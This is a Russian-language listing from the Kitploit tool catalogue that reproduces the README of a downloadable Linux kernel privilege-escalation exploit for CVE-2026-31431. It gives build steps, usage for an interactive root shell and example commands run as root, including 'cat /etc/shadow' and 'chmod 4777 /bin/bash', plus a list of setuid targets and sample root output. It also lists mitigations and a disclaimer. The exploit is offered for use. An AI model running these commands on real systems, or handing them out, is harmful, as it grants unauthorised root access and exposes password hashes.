Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
copy-fail_LPE_Interactive — Эксплойт для CVE-2026-31431, уязвимости повреждения page cache в ядре Linux, предоставляющий интерактивную root-оболочку и неинтерактивное выполнение команд через цепочки AF_ALG и splice(). | Kitploit
Инструменты/GitHubGitHub/h1d3r/copy-fail_lpe_interactive
Повышение привилегийФреймворки для эксплойтовАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеЭксплуатация Бинарных Файлов
GitHubh1d3r/copy-fail_lpe_interactive

copy-fail_LPE_Interactive

Эксплойт для CVE-2026-31431, уязвимости повреждения page cache в ядре Linux, предоставляющий интерактивную root-оболочку и неинтерактивное выполнение команд через цепочки AF_ALG и splice().

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
3 месяцев назадЕщё не проверено

CVE-2026-31431 Copy Fail Exploit

Инструмент эксплуатации уязвимости загрязнения page cache в ядре Linux с поддержкой неинтерактивного выполнения команд.

Обзор уязвимости

CVE-2026-31431 — это логическая ошибка в ядре Linux, присутствующая в реализации AEAD-алгоритма authencesn. Через цепочку системных вызовов AF_ALG и splice() атакующий может записать 4 байта данных в page cache любого читаемого файла.

Затронутые версии:

  • Ядро Linux 4.14+ (2017 г. — апрель 2026 г.)
  • Практически все основные дистрибутивы: Ubuntu, Debian, CentOS, RHEL, Amazon Linux и другие

Особенности уязвимости:

  • 100% надёжность, не требует состояния гонки
  • Не требует вычисления смещений в ядре
  • Один и тот же бинарный файл подходит для всех дистрибутивов
  • Не изменяет файлы на диске, только загрязняет кэш в памяти

Состав файлов

root@kitploit:~
.
├── copyfail_universal.c    # Исходный код основного POC (статическая компиляция, без зависимостей от libc)
├── copyfail_universal      # Скомпилированный бинарный файл
├── run_cmd.sh              # Wrapper-скрипт для неинтерактивного выполнения
├── Makefile                # Скрипт сборки
└── README.md               # Данный документ

Компиляция

root@kitploit:~
# Способ 1: с использованием gcc и ld
gcc -c copyfail_universal.c -o copyfail_universal.o -O2 -fno-stack-protector -fno-pic -fno-pie
ld copyfail_universal.o -o copyfail_universal -static -nostdlib
chmod +x copyfail_universal

# Способ 2: с использованием Makefile
make

Использование

Интерактивная Root Shell

root@kitploit:~
./copyfail_universal

Неинтерактивное выполнение команд

root@kitploit:~
# Способ 1: с использованием wrapper-скрипта (рекомендуется)
./run_cmd.sh "id"
./run_cmd.sh "cat /etc/shadow"
./run_cmd.sh "chmod 4777 /bin/bash"

# Способ 2: через конвейер
echo 'id > /tmp/pwned.txt; exit' | ./copyfail_universal

# Способ 3: с использованием переменной окружения
CMD='whoami' ./copyfail_universal

Указание другой цели setuid

root@kitploit:~
# Цель по умолчанию — /usr/bin/su
# Другую цель можно указать, изменив переменную path в исходном коде

# Часто доступные цели:
# /usr/bin/su
# /usr/bin/passwd
# /usr/bin/chsh
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/pkexec

Автоматическое восстановление

Уязвимость изменяет только page cache, не затрагивая файлы на диске. Для восстановления выполните следующую команду:

root@kitploit:~
sync; echo 3 > /proc/sys/vm/drop_caches

Скрипт run_cmd.sh уже включает функцию автоматического восстановления.

Пример вывода

root@kitploit:~
$ ./run_cmd.sh "id"

[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[*] Mode: Interactive shell
[*] Payload size: 112 bytes
[*] Corrupting page cache...
[+] Done! Executing su...

uid=0(root) gid=1000(user) groups=1000(user),4(adm),27(sudo)

Затронутые программы setuid

Поиск всех программ setuid в системе:

root@kitploit:~
find / -perm -4000 -user root -type f 2>/dev/null

Рекомендации по устранению

  1. Обновление ядра — обновитесь до версии ядра, содержащей патч a664bf3d603d

  2. Временное смягчение — отключите модуль algif_aead:

    root@kitploit:~
    echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
    rmmod algif_aead 2>/dev/null || true
    
  3. Контейнерные среды — используйте seccomp для блокировки создания сокетов AF_ALG

Технические детали

  • Тип уязвимости: запись за границы page cache
  • Корневая причина: authencesn использует целевой буфер в качестве временного хранилища, записывая 4 байта за границы
  • Способ эксплуатации: передача страниц page cache в криптоподсистему через splice()
  • Возможности записи: 4 байта в page cache любого читаемого файла за одну операцию

Отказ от ответственности

Данный инструмент предназначен исключительно для исследований в области безопасности и авторизованного тестирования. Использование данного инструмента для атак на неавторизованные системы является незаконным. Пользователь несёт полную юридическую ответственность.

Справочные материалы

  • CVE-2026-31431 Write-up
  • Xint Blog - Copy Fail
  • GitHub - Официальный POC
Скачать инструмент
ПрограммаПутьДоступность
su/usr/bin/su✅ По умолчанию
passwd/usr/bin/passwd✅
chsh/usr/bin/chsh✅
chfn/usr/bin/chfn✅
gpasswd/usr/bin/gpasswd✅
pkexec/usr/bin/pkexec✅
mount/bin/mount✅
umount/bin/umount✅